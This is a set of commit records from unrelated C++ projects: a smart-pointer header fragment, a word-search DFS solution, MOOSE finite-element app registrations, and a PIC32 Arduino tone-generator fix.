reset(pointer t = nullptr)      noexcept  { _t = t; }\n    pointer release()                    noexcept  { auto t = _t; reset(); return t; }\n\n    pointer   operator -> ()  const noexcept  { return  get(); }\n    reference operator *  ()  const noexcept  { return *get(); }\n    explicit operator bool () const noexcept  { return  get(); }\n    bool operator ! ()        const noexcept  { return !get(); }\n\n    bool operator == (const ptr &other) const noexcept  { return get() == other.get(); }\n    bool operator != (const ptr &other) const noexcept  { return get() != other.get(); }\n    bool operator <  (const ptr &other) const noexcept  { return get() <  other.get(); }\n    bool operator <= (const ptr &other) const noexcept  { return get() <= other.get(); }\n    bool operator >  (const ptr &other) const noexcept  { return get() >  other.get(); }\n    bool operator >= (const ptr &other) const noexcept  { return get() >= other.get(); }\n\n    friend bool operator != (const ptr &p, std::nullptr_t) noexcept  { return p; }\n    friend bool operator != (std::nullptr_t, const ptr &p) noexcept { return p; }\n\n    friend bool operator == (const ptr &p, std::nullptr_t) noexcept { return !p; }\n    friend bool operator == (std::nullptr_t, const ptr &p) noexcept { return !p; }\n\n    friend void swap(ptr &left, ptr &right) noexcept { std::swap(left._t, right._t); }\n};\n\ntemplate <class T>\n  inline ptr<T> make_ptr(T *t) noexcept  { return ptr<T>(t); }\n\n\n} \/\/ namespace ten\n\n#endif \/\/ LIBTEN_PTR_HH\n<|endoftext|>"}
{"text":"<commit_before>class Solution {\npublic:\n    \/**\n     * @param board: A list of lists of character\n     * @param word: A string\n     * @return: A boolean\n     *\/\n    const int dx[4]={1,0,-1,0};\n    int const dy[4]={0,1,0,-1} ;\n\n    bool dfs(int i,int j,std::vector<int> &vx,vector<int> &vy){\n    \tint i_next,j_next,i1,j1;\n        int ex_l=vx.size();        \n\n        if (board[i][j]!=word[ex_l]) return false;      \n\n        vx.push_back(i);\n        vy.push_back(j);\n\n        if (vx.size()==word.size()){\n            for (int i4=0;i4<ex_l;i4++){\n                cout<<vx[i4]<<\",\"<<vy[i4]<<\" -> \";\n            }\n            cout<<endl;\n            \n            return true;\n        }\n\n\n\n        \n        for (int i5=0;i5<4;i5++){\n            i_next=i+dx[i5];\n            j_next=j+dy[i5];\n\n            if (i_next<0 or i_next>=row) continue;\n            if (j_next<0 or j_next>=col) continue;\n\n            int flag_already_inqueue=0;\n            for (int i4=0;i4<vx.size();i4++){\n                if (i_next==vx[i4] and j_next==vy[i4])\n                    flag_already_inqueue = 1;\n\n            }\n\n            if (flag_already_inqueue==1) continue;\/\/already in \n\n            if (dfs(i_next,j_next,vx,vy)) return true;\n\n        }\n        \/\/after 4 direaction trials\n        \n        vx.pop_back();\n        vy.pop_back();\n        return false;\n\n    }\n\n    \n    bool exist(vector<vector<char> > &board, string word) {\n        \/\/ write your code here\n        int row=board.size();\n        if (row<=0) return false;\n        col=board[0].size();\n        if (col<=0) return false;\n        this->word=word;\n        this->board=board;\n\n        \/\/find the start point \n        int i,j,k;\n        for (i=0;i<row;i++)\n            for (j=0;j<col;j++){\n                vx.clear();\n                vy.clear();\n                if (dfs(i,j,vx,vy)) return true;\n            }\n\n        return false;\n    }\n\nprivate:\n\tint row,col;\n    string word;\n    vector<vector<char> > board;\n    std::vector<int> vx;\n    std::vector<int> vy;\n};<commit_msg>testing 123<commit_after>class Solution {\npublic:\n    \/**\n     * @param board: A list of lists of character\n     * @param word: A string\n     * @return: A boolean\n     *\/\n    const int dx[4]={1,0,-1,0};\n    int const dy[4]={0,1,0,-1} ;\n\n    bool dfs(int i,int j,std::vector<int> &vx,vector<int> &vy){\n    \tint i_next,j_next,i1,j1;\n        int ex_l=vx.size();        \n\n        if (board[i][j]!=word[ex_l]) return false;      \n\n        vx.push_back(i);\n        vy.push_back(j);\n        ex_l=vx.size();\n\n        if (vx.size() == word.size()){\n            for (int i4=0;i4<ex_l;i4++){\n                cout<<vx[i4]<<\",\"<<vy[i4]<<\" -> \";\n            }\n            cout<<endl;            \n            return true;\n        }\n\n        if (vx.size()>1){\n            for (int i4=0;i4<ex_l;i4++){\n                cout<<vx[i4]<<\",\"<<vy[i4]<<\" -> \";\n            }\n            cout<<endl;            \n            \n        }\n\n\n\n        \n        for (int i5=0;i5<4;i5++){\n            i_next=i+dx[i5];\n            j_next=j+dy[i5];\n\n            if (i_next<0 or i_next>=row) continue;\n            if (j_next<0 or j_next>=col) continue;\n\n            int flag_already_inqueue=0;\n            for (int i4=0;i4<vx.size();i4++){\n                if (i_next==vx[i4] and j_next==vy[i4])\n                    flag_already_inqueue = 1;\n            }\n\n            if (flag_already_inqueue==1) continue;\/\/already in \n\n            if (dfs(i_next,j_next,vx,vy)) return true;\n\n        }\n        \/\/after 4 direaction trials\n        \n        vx.pop_back();\n        vy.pop_back();\n        return false;\n\n    }\n\n    \n    bool exist(vector<vector<char> > &board, string word) {\n        \/\/ write your code here\n        int row=board.size();\n        if (row<=0) return false;\n        col=board[0].size();\n        if (col<=0) return false;\n        this->word=word;\n        this->board=board;\n\n        cout<<word<<\":\"<<word.size()<<endl;\n\n        \/\/find the start point \n        int i,j,k;\n        for (i=0;i<row;i++)\n            for (j=0;j<col;j++){\n                vx.clear();\n                vy.clear();\n                if (dfs(i,j,vx,vy)) return true;\n            }\n\n        return false;\n    }\n\nprivate:\n\tint row,col;\n    string word;\n    vector<vector<char> > board;\n    std::vector<int> vx;\n    std::vector<int> vy;\n};<|endoftext|>"}
{"text":"<commit_before>#include \"PikaApp.h\"\n#include \"Moose.h\"\n#include \"AppFactory.h\"\n\n\/\/ Modules\n#include \"PhaseFieldApp.h\"\n#include \"HeatConductionApp.h\"\n\n\/\/ UserObjects\n#include \"ChemicalPotentialPropertyUserObject.h\"\n\n\/\/ Materials\n#include \"ConstantProperties.h\"\n#include \"PhaseFieldProperties.h\"\n#include \"IceProperties.h\"\n#include \"AirProperties.h\"\n\n\/\/ Kernels\n#include \"MaterialTimeDerivative.h\"\n#include \"CoefficientTimeDerivative.h\"\n#include \"PhaseFieldPotential.h\"\n#include \"PhaseTransition.h\"\n#include \"StefanCondition.h\"\n\n\/\/ InitialConditions\n#include \"ChemicalPotentialIC.h\"\n\ntemplate<>\nInputParameters validParams<PikaApp>()\n{\n  InputParameters params = validParams<MooseApp>();\n  return params;\n}\n\nPikaApp::PikaApp(const std::string & name, InputParameters parameters) :\n    MooseApp(name, parameters)\n{\n  srand(processor_id());\n\n  Moose::registerObjects(_factory);\n  PhaseFieldApp::registerObjects(_factory);\n  HeatConductionApp::registerObjects(_factory);\n  PikaApp::registerObjects(_factory);\n\n  Moose::associateSyntax(_syntax, _action_factory);\n  PhaseFieldApp::associateSyntax(_syntax, _action_factory);\n  HeatConductionApp::associateSyntax(_syntax, _action_factory);\n  PikaApp::associateSyntax(_syntax, _action_factory);\n}\n\nPikaApp::~PikaApp()\n{\n}\n\nvoid\nPikaApp::registerApps()\n{\n  registerApp(PikaApp);\n}\n\nvoid\nPikaApp::registerObjects(Factory & factory)\n{\n  \/\/ UserObjects\n  registerUserObject(ChemicalPotentialPropertyUserObject);\n\n  \/\/ Materials\n  registerMaterial(ConstantProperties);\n  registerMaterial(PhaseFieldProperties);\n  registerMaterial(IceProperties);\n  registerMaterial(AirProperties);\n\n  \/\/ Kernels\n  registerKernel(MaterialTimeDerivative);\n  registerKernel(CoefficientTimeDerivative);\n  registerKernel(PhaseFieldPotential);\n  registerKernel(PhaseTransition);\n  registerKernel(StefanCondition);\n\n  \/\/ InitialConditions\n  registerInitialCondition(ChemicalPotentialIC);\n\n}\n\nvoid\nPikaApp::associateSyntax(Syntax & \/*syntax*\/, ActionFactory & \/*action_factory*\/)\n{\n}\n<commit_msg>Adding Nicoli, 2011 tensor mobility<commit_after>#include \"PikaApp.h\"\n#include \"Moose.h\"\n#include \"AppFactory.h\"\n\n\/\/ Modules\n#include \"PhaseFieldApp.h\"\n#include \"HeatConductionApp.h\"\n\n\/\/ UserObjects\n#include \"ChemicalPotentialPropertyUserObject.h\"\n\n\/\/ Materials\n#include \"ConstantProperties.h\"\n#include \"PhaseFieldProperties.h\"\n#include \"IceProperties.h\"\n#include \"AirProperties.h\"\n#include \"TensorMobilityMaterial.h\"\n\n\/\/ Kernels\n#include \"MaterialTimeDerivative.h\"\n#include \"CoefficientTimeDerivative.h\"\n#include \"PhaseFieldPotential.h\"\n#include \"PhaseTransition.h\"\n#include \"StefanCondition.h\"\n#include \"TensorDiffusion.h\"\n\n\/\/ InitialConditions\n#include \"ChemicalPotentialIC.h\"\n\ntemplate<>\nInputParameters validParams<PikaApp>()\n{\n  InputParameters params = validParams<MooseApp>();\n  return params;\n}\n\nPikaApp::PikaApp(const std::string & name, InputParameters parameters) :\n    MooseApp(name, parameters)\n{\n  srand(processor_id());\n\n  Moose::registerObjects(_factory);\n  PhaseFieldApp::registerObjects(_factory);\n  HeatConductionApp::registerObjects(_factory);\n  PikaApp::registerObjects(_factory);\n\n  Moose::associateSyntax(_syntax, _action_factory);\n  PhaseFieldApp::associateSyntax(_syntax, _action_factory);\n  HeatConductionApp::associateSyntax(_syntax, _action_factory);\n  PikaApp::associateSyntax(_syntax, _action_factory);\n}\n\nPikaApp::~PikaApp()\n{\n}\n\nvoid\nPikaApp::registerApps()\n{\n  registerApp(PikaApp);\n}\n\nvoid\nPikaApp::registerObjects(Factory & factory)\n{\n  \/\/ UserObjects\n  registerUserObject(ChemicalPotentialPropertyUserObject);\n\n  \/\/ Materials\n  registerMaterial(ConstantProperties);\n  registerMaterial(PhaseFieldProperties);\n  registerMaterial(IceProperties);\n  registerMaterial(AirProperties);\n  registerMaterial(TensorMobilityMaterial);\n\n  \/\/ Kernels\n  registerKernel(MaterialTimeDerivative);\n  registerKernel(CoefficientTimeDerivative);\n  registerKernel(PhaseFieldPotential);\n  registerKernel(PhaseTransition);\n  registerKernel(StefanCondition);\n  registerKernel(TensorDiffusion);\n\n  \/\/ InitialConditions\n  registerInitialCondition(ChemicalPotentialIC);\n\n}\n\nvoid\nPikaApp::associateSyntax(Syntax & \/*syntax*\/, ActionFactory & \/*action_factory*\/)\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -------------------------------------------------------------------------------\n    slug - a finite element solver for lubrication films\n    Copyright (C) 2015 Adam Lange\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n  ----------------------------------------------------------------------------- *\/\n#include \"SlugApp.h\"\n#include \"Moose.h\"\n#include \"AppFactory.h\"\n#include \"ModulesApp.h\"\n\n#include \"CompressibleReynoldsPressure.h\"\n#include \"ReynoldsIdealGas.h\"\n#include \"ReynoldsMeanVelocity.h\"\n#include \"ReynoldsMassFlow.h\"\n#include \"RadialBearingH.h\"\n#include \"AlphaBetaH.h\"\n#include \"ReynoldsMassFlowIntegral.h\"\n#include \"PressureMomentPointDirection.h\"\n#include \"ReynoldsShearStress.h\"\n#include \"ReynoldsShearMoment.h\"\n\ntemplate<>\nInputParameters validParams<SlugApp>()\n{\n  InputParameters params = validParams<MooseApp>();\n\n  params.set<bool>(\"use_legacy_uo_initialization\") = false;\n  params.set<bool>(\"use_legacy_uo_aux_computation\") = false;\n  params.set<bool>(\"use_legacy_output_syntax\") = false;\n\n  return params;\n}\n\nSlugApp::SlugApp(InputParameters parameters) :\n    MooseApp(parameters)\n{\n  Moose::registerObjects(_factory);\n  ModulesApp::registerObjects(_factory);\n  SlugApp::registerObjects(_factory);\n\n  Moose::associateSyntax(_syntax, _action_factory);\n  ModulesApp::associateSyntax(_syntax, _action_factory);\n  SlugApp::associateSyntax(_syntax, _action_factory);\n}\n\nSlugApp::~SlugApp()\n{\n}\n\n\/\/ External entry point for dynamic application loading\nextern \"C\" void SlugApp__registerApps() { SlugApp::registerApps(); }\nvoid\nSlugApp::registerApps()\n{\n  registerApp(SlugApp);\n}\n\n\/\/ External entry point for dynamic object registration\nextern \"C\" void SlugApp__registerObjects(Factory & factory) { SlugApp::registerObjects(factory); }\nvoid\nSlugApp::registerObjects(Factory & factory)\n{\n  registerKernel(CompressibleReynoldsPressure);\n  registerAux(ReynoldsMeanVelocity);\n  registerAux(ReynoldsMassFlow);\n  registerAux(AlphaBetaH);\n  registerMaterial(ReynoldsIdealGas);\n  registerAux(RadialBearingH);\n  registerPostprocessor(ReynoldsMassFlowIntegral);\n  registerKernel(Node1);\n  registerPostprocessor(PressureMomentPointDirection);\n  registerAux(ReynoldsShearStress);\n  registerPostprocessor(ReynoldsShearMoment);\n}\n\n\/\/ External entry point for dynamic syntax association\nextern \"C\" void SlugApp__associateSyntax(Syntax & syntax, ActionFactory & action_factory) { SlugApp::associateSyntax(syntax, action_factory); }\nvoid\nSlugApp::associateSyntax(Syntax & syntax, ActionFactory & action_factory)\n{\n}\n<commit_msg>Removed Node1 registration in SlugApp<commit_after>\/* -------------------------------------------------------------------------------\n    slug - a finite element solver for lubrication films\n    Copyright (C) 2015 Adam Lange\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n  ----------------------------------------------------------------------------- *\/\n#include \"SlugApp.h\"\n#include \"Moose.h\"\n#include \"AppFactory.h\"\n#include \"ModulesApp.h\"\n\n#include \"CompressibleReynoldsPressure.h\"\n#include \"ReynoldsIdealGas.h\"\n#include \"ReynoldsMeanVelocity.h\"\n#include \"ReynoldsMassFlow.h\"\n#include \"RadialBearingH.h\"\n#include \"AlphaBetaH.h\"\n#include \"ReynoldsMassFlowIntegral.h\"\n#include \"PressureMomentPointDirection.h\"\n#include \"ReynoldsShearStress.h\"\n#include \"ReynoldsShearMoment.h\"\n\ntemplate<>\nInputParameters validParams<SlugApp>()\n{\n  InputParameters params = validParams<MooseApp>();\n\n  params.set<bool>(\"use_legacy_uo_initialization\") = false;\n  params.set<bool>(\"use_legacy_uo_aux_computation\") = false;\n  params.set<bool>(\"use_legacy_output_syntax\") = false;\n\n  return params;\n}\n\nSlugApp::SlugApp(InputParameters parameters) :\n    MooseApp(parameters)\n{\n  Moose::registerObjects(_factory);\n  ModulesApp::registerObjects(_factory);\n  SlugApp::registerObjects(_factory);\n\n  Moose::associateSyntax(_syntax, _action_factory);\n  ModulesApp::associateSyntax(_syntax, _action_factory);\n  SlugApp::associateSyntax(_syntax, _action_factory);\n}\n\nSlugApp::~SlugApp()\n{\n}\n\n\/\/ External entry point for dynamic application loading\nextern \"C\" void SlugApp__registerApps() { SlugApp::registerApps(); }\nvoid\nSlugApp::registerApps()\n{\n  registerApp(SlugApp);\n}\n\n\/\/ External entry point for dynamic object registration\nextern \"C\" void SlugApp__registerObjects(Factory & factory) { SlugApp::registerObjects(factory); }\nvoid\nSlugApp::registerObjects(Factory & factory)\n{\n  registerKernel(CompressibleReynoldsPressure);\n  registerAux(ReynoldsMeanVelocity);\n  registerAux(ReynoldsMassFlow);\n  registerAux(AlphaBetaH);\n  registerMaterial(ReynoldsIdealGas);\n  registerAux(RadialBearingH);\n  registerPostprocessor(ReynoldsMassFlowIntegral);\n  registerPostprocessor(PressureMomentPointDirection);\n  registerAux(ReynoldsShearStress);\n  registerPostprocessor(ReynoldsShearMoment);\n}\n\n\/\/ External entry point for dynamic syntax association\nextern \"C\" void SlugApp__associateSyntax(Syntax & syntax, ActionFactory & action_factory) { SlugApp::associateSyntax(syntax, action_factory); }\nvoid\nSlugApp::associateSyntax(Syntax & syntax, ActionFactory & action_factory)\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/************************************************************************\n\/\/*\tTone.cpp\n\/\/*\t\n\/\/*\tArduino core files for PIC32\n\/\/*\tCopyright (c) 2010, 2011 by Mark Sproul\n\/\/*\t\n\/\/*\t\n\/\/************************************************************************\n\/\/*\tTone.cpp\n\/\/*\t\n\/\/*\tA Tone Generator Library\n\/\/*\t\n\/\/*\tBased on code by Brett Hagman\n\/\/*\t\n\/\/*\tThis library is free software; you can redistribute it and\/or\n\/\/*\tmodify it under the terms of the GNU Lesser General Public\n\/\/*\tLicense as published by the Free Software Foundation; either\n\/\/*\tversion 2.1 of the License, or (at your option) any later version.\n\/\/*\t\n\/\/*\tThis library is distributed in the hope that it will be useful,\n\/\/*\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/*\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/*\tLesser General Public License for more details.\n\/\/*\t\n\/\/*\tYou should have received a copy of the GNU Lesser General Public\n\/\/*\tLicense along with this library; if not, write to the Free Software\n\/\/*\tFoundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\/\/*\t\n\/\/*\t\n\/\/************************************************************************\n\/\/*\tThe original tone supported multiple timers and multiple pins\n\/\/*\tthe offical Arduino documentation does not\n\/\/*\tI am writing this as per the docs, not per the original code\n\/\/************************************************************************\n\/\/*\tEdit History\n\/\/************************************************************************\n\/\/*\tOct 15,\t2010\tStarted on Tone.cpp for PIC32\n\/\/*\tAug  7, 2011\t<GeneApperson> Completed implementation for single tone.\n\/\/************************************************************************\n\n\n#define\tLANGUAGE_C\n#define\t__LANGUAGE_C__\n\/\/*\tthe Microchip .h files do not know about C++\n#include <plib.h>\n\n\/\/#define DEBUG_TONE\n\n#ifdef DEBUG_TONE\n\t#include \"WProgram.h\"\n\t#include \"HardwareSerial.h\"\n#endif\n\n#include \"wiring.h\"\n#include \"pins_arduino.h\"\n\n\/\/\ttimerx_toggle_count:\n\/\/\t> 0 - duration specified\n\/\/\t= 0 - stopped\n\/\/\t< 0 - infinitely (until stop() method called, or new play() called)\nvolatile long\t\ttimer1_toggle_count;\nstatic uint8_t\t\ttone_pin\t=\t255;\nvolatile uint32_t\t*tone_pin_port;\nvolatile uint16_t\ttone_pin_mask;\n\n#if defined(DEAD)\n\t#define AVAILABLE_TONE_PINS 1\n\n\tconst uint8_t\ttone_pin_to_timer_PGM[]\t=\t{ 2 \/*, 3, 4, 5, 1, 0 *\/ };\n\tstatic uint8_t tone_pins[AVAILABLE_TONE_PINS]\t=\t{ 255 \/*, 255, 255, 255, 255, 255 *\/ };\n#endif\n\n\/\/ frequency (in hertz) and duration (in milliseconds).\n\n\/\/************************************************************************\nvoid tone(uint8_t _pin, unsigned int frequency, unsigned long duration)\n{\nuint32_t tonePeriod;\nuint8_t port;\n\n\t\/\/ Should have an error check here for pin number out of range.\n\n\t\/\/ If a tone is currently playing on a different pin, the function is\n\t\/\/ documented to have no effect. If playing on the same pin, change\n\t\/\/ the frequency. If not currently playing, initialize the timer.\n\t\/\/ This is currently hard coded to use timer1.\n\tif (tone_pin == 255)\n\t{\n\t\t\/\/ No tone currently playing. Init the timer.\n\t\tT1CON\t=\tT1_PS_1_256;\n\t\tmT1ClearIntFlag();\n\t\tConfigIntTimer1(T1_INT_ON | T1_INT_PRIOR_3 | T1_INT_SUB_PRIOR_1);\n\t}\n\telse if (_pin != tone_pin)\n\t{\n\t\t\/\/ Tone currently playing on another pin. ignore this call.\n\t\treturn;\n\t}\n\n\t\/\/ Determine which port and bit are requested.\n\ttone_pin\t\t=\t_pin; \n\tport\t\t\t=\tdigitalPinToPort(_pin);\n\ttone_pin_port\t=\tportOutputRegister(port);\n\ttone_pin_mask\t=\tdigitalPinToBitMask(_pin);\n\n\t\/\/ Ensure that the pin is a digital output\n\tpinMode(_pin, OUTPUT);\n\n\t\/\/ Duration 0 means to play forever until stopped. Other values\n\t\/\/ mean to play for that many milliseconds.\n\tif (duration > 0)\n\t{\n\t\ttimer1_toggle_count\t=\t(2 * frequency * duration)\/1000;\n\t}\n\telse\n\t{\n\t\ttimer1_toggle_count\t=\t-1;\n\t}\n\n\tTMR1\t\t=\t0;\n\tPR1\t\t\t=\t((F_CPU \/ 256) \/ 2 \/ frequency);\n\tT1CONSET\t=\tT1_ON;\n}\n\n\/\/************************************************************************\nvoid disableTimer(uint8_t _timer)\n{\n\tmT1IntEnable(0);\n\tT1CON\t\t=\t0;;\n\ttone_pin\t=\t255;\n}\n\n\/\/************************************************************************\nvoid noTone(uint8_t _pin)\n{\nint8_t _timer = 1;\n\n\tif (_pin == tone_pin)\n\t{\n\t\tdigitalWrite(_pin, 0);\n\t\tdisableTimer(_timer);\n\t}\n}\n\n\/\/*******************************************************************************************\n\/\/*\twe need the extern C so that the interrupt handler names dont get mangled by C++\nextern \"C\"\n{\n\n\/\/*\tnot done yet\n\/\/************************************************************************\nvoid __ISR(_TIMER_1_VECTOR, ipl3) Timer1Handler(void)\n{\n\n\/\/ clear the interrupt flag\nmT1ClearIntFlag();\n\n\tif (timer1_toggle_count != 0)\n\t{\n\t\t\/\/ toggle the pin\n\t\t\/\/ The PORTxINV register is at offset +3 from the PORTx register\n\t\t*(tone_pin_port+3)\t=\ttone_pin_mask;\n\n\t\tif (timer1_toggle_count > 0)\n\t\t{\n\t\t\ttimer1_toggle_count--;\n\t\t}\n\t}\n\telse\n\t{\n\t\tdisableTimer(1);\n\t\t\/\/ The PORTxCLR register is at offset +1 from the PORTx register\n\t\t*(tone_pin_port+1)\t=\ttone_pin_mask;\t\/\/ keep pin low after stop\n\t}\n}\n\n};\t\/\/*\textgern \"C\"\n\n<commit_msg>Issue #132 Tone fails when the frequency is 0 fixed<commit_after>\/\/************************************************************************\n\/\/*\tTone.cpp\n\/\/*\t\n\/\/*\tArduino core files for PIC32\n\/\/*\tCopyright (c) 2010, 2011 by Mark Sproul\n\/\/*\t\n\/\/*\t\n\/\/************************************************************************\n\/\/*\tTone.cpp\n\/\/*\t\n\/\/*\tA Tone Generator Library\n\/\/*\t\n\/\/*\tBased on code by Brett Hagman\n\/\/*\t\n\/\/*\tThis library is free software; you can redistribute it and\/or\n\/\/*\tmodify it under the terms of the GNU Lesser General Public\n\/\/*\tLicense as published by the Free Software Foundation; either\n\/\/*\tversion 2.1 of the License, or (at your option) any later version.\n\/\/*\t\n\/\/*\tThis library is distributed in the hope that it will be useful,\n\/\/*\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/*\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/*\tLesser General Public License for more details.\n\/\/*\t\n\/\/*\tYou should have received a copy of the GNU Lesser General Public\n\/\/*\tLicense along with this library; if not, write to the Free Software\n\/\/*\tFoundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\/\/*\t\n\/\/*\t\n\/\/************************************************************************\n\/\/*\tThe original tone supported multiple timers and multiple pins\n\/\/*\tthe offical Arduino documentation does not\n\/\/*\tI am writing this as per the docs, not per the original code\n\/\/************************************************************************\n\/\/*\tEdit History\n\/\/************************************************************************\n\/\/*\tOct 15,\t2010\tStarted on Tone.cpp for PIC32\n\/\/*\tAug  7, 2011\t<GeneApperson> Completed implementation for single tone.\n\/\/*\tOct  5,\t2011\t<MLS> Issue #132 Tone fails when the frequency is 0 fixed\n\/\/************************************************************************\n\n\n#define\tLANGUAGE_C\n#define\t__LANGUAGE_C__\n\/\/*\tthe Microchip .h files do not know about C++\n#include <plib.h>\n\n\/\/#define DEBUG_TONE\n\n#ifdef DEBUG_TONE\n\t#include \"WProgram.h\"\n\t#include \"HardwareSerial.h\"\n#endif\n\n#include \"wiring.h\"\n#include \"pins_arduino.h\"\n\n\/\/\ttimerx_toggle_count:\n\/\/\t> 0 - duration specified\n\/\/\t= 0 - stopped\n\/\/\t< 0 - infinitely (until stop() method called, or new play() called)\nvolatile long\t\ttimer1_toggle_count;\nstatic uint8_t\t\ttone_pin\t=\t255;\nvolatile uint32_t\t*tone_pin_port;\nvolatile uint16_t\ttone_pin_mask;\n\n#if defined(DEAD)\n\t#define AVAILABLE_TONE_PINS 1\n\n\tconst uint8_t\ttone_pin_to_timer_PGM[]\t=\t{ 2 \/*, 3, 4, 5, 1, 0 *\/ };\n\tstatic uint8_t tone_pins[AVAILABLE_TONE_PINS]\t=\t{ 255 \/*, 255, 255, 255, 255, 255 *\/ };\n#endif\n\n\/\/ frequency (in hertz) and duration (in milliseconds).\n\n\/\/************************************************************************\nvoid tone(uint8_t _pin, unsigned int frequency, unsigned long duration)\n{\nuint32_t tonePeriod;\nuint8_t port;\n\n\t\/\/ Should have an error check here for pin number out of range.\n\t\/\/*\tthere is no standard on the number of pins. Since we want this to work on all versions of the PIC32\n\t\/\/*\tI have set it to 112 for now which is the largest I\/O pin count on a pic32\n\tif ((frequency > 0) && (_pin < 112))\n\t{\n\t\t\t\n\t\t\/\/ If a tone is currently playing on a different pin, the function is\n\t\t\/\/ documented to have no effect. If playing on the same pin, change\n\t\t\/\/ the frequency. If not currently playing, initialize the timer.\n\t\t\/\/ This is currently hard coded to use timer1.\n\t\tif (tone_pin == 255)\n\t\t{\n\t\t\t\/\/ No tone currently playing. Init the timer.\n\t\t\tT1CON\t=\tT1_PS_1_256;\n\t\t\tmT1ClearIntFlag();\n\t\t\tConfigIntTimer1(T1_INT_ON | T1_INT_PRIOR_3 | T1_INT_SUB_PRIOR_1);\n\t\t}\n\t\telse if (_pin != tone_pin)\n\t\t{\n\t\t\t\/\/ Tone currently playing on another pin. ignore this call.\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Determine which port and bit are requested.\n\t\ttone_pin\t\t=\t_pin; \n\t\tport\t\t\t=\tdigitalPinToPort(_pin);\n\t\ttone_pin_port\t=\tportOutputRegister(port);\n\t\ttone_pin_mask\t=\tdigitalPinToBitMask(_pin);\n\n\t\t\/\/ Ensure that the pin is a digital output\n\t\tpinMode(_pin, OUTPUT);\n\n\t\t\/\/ Duration 0 means to play forever until stopped. Other values\n\t\t\/\/ mean to play for that many milliseconds.\n\t\tif (duration > 0)\n\t\t{\n\t\t\ttimer1_toggle_count\t=\t(2 * frequency * duration) \/ 1000;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttimer1_toggle_count\t=\t-1;\n\t\t}\n\n\t\tTMR1\t\t=\t0;\n\t\tPR1\t\t\t=\t((F_CPU \/ 256) \/ 2 \/ frequency);\n\t\tT1CONSET\t=\tT1_ON;\n\t}\n}\n\n\/\/************************************************************************\nvoid disableTimer(uint8_t _timer)\n{\n\tmT1IntEnable(0);\n\tT1CON\t\t=\t0;;\n\ttone_pin\t=\t255;\n}\n\n\/\/************************************************************************\nvoid noTone(uint8_t _pin)\n{\nint8_t _timer = 1;\n\n\tif (_pin == tone_pin)\n\t{\n\t\tdigitalWrite(_pin, 0);\n\t\tdisableTimer(_timer);\n\t}\n}\n\n\/\/*******************************************************************************************\n\/\/*\twe need the extern C so that the interrupt handler names dont get mangled by C++\nextern \"C\"\n{\n\n\/\/*\tnot done yet\n\/\/************************************************************************\nvoid __ISR(_TIMER_1_VECTOR, ipl3) Timer1Handler(void)\n{\n\n\/\/ clear the interrupt flag\nmT1ClearIntFlag();\n\n\tif (timer1_toggle_count != 0)\n\t{\n\t\t\/\/ toggle the pin\n\t\t\/\/ The PORTxINV register is at offset +3 from the PORTx register\n\t\t*(tone_pin_port+3)\t=\ttone_pin_mask;\n\n\t\tif (timer1_toggle_count > 0)\n\t\t{\n\t\t\ttimer1_toggle_count--;\n\t\t}\n\t}\n\telse\n\t{\n\t\tdisableTimer(1);\n\t\t\/\/ The PORTxCLR register is at offset +1 from the PORTx register\n\t\t*(tone_pin_port+1)\t=\ttone_pin_mask;\t\/\/ keep pin low after stop\n\t}\n}\n\n};\t\/\/*\textgern \"C\"\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>all & any folds use static assertion instead of SFINAE<commit_after><|endoftext|>"}
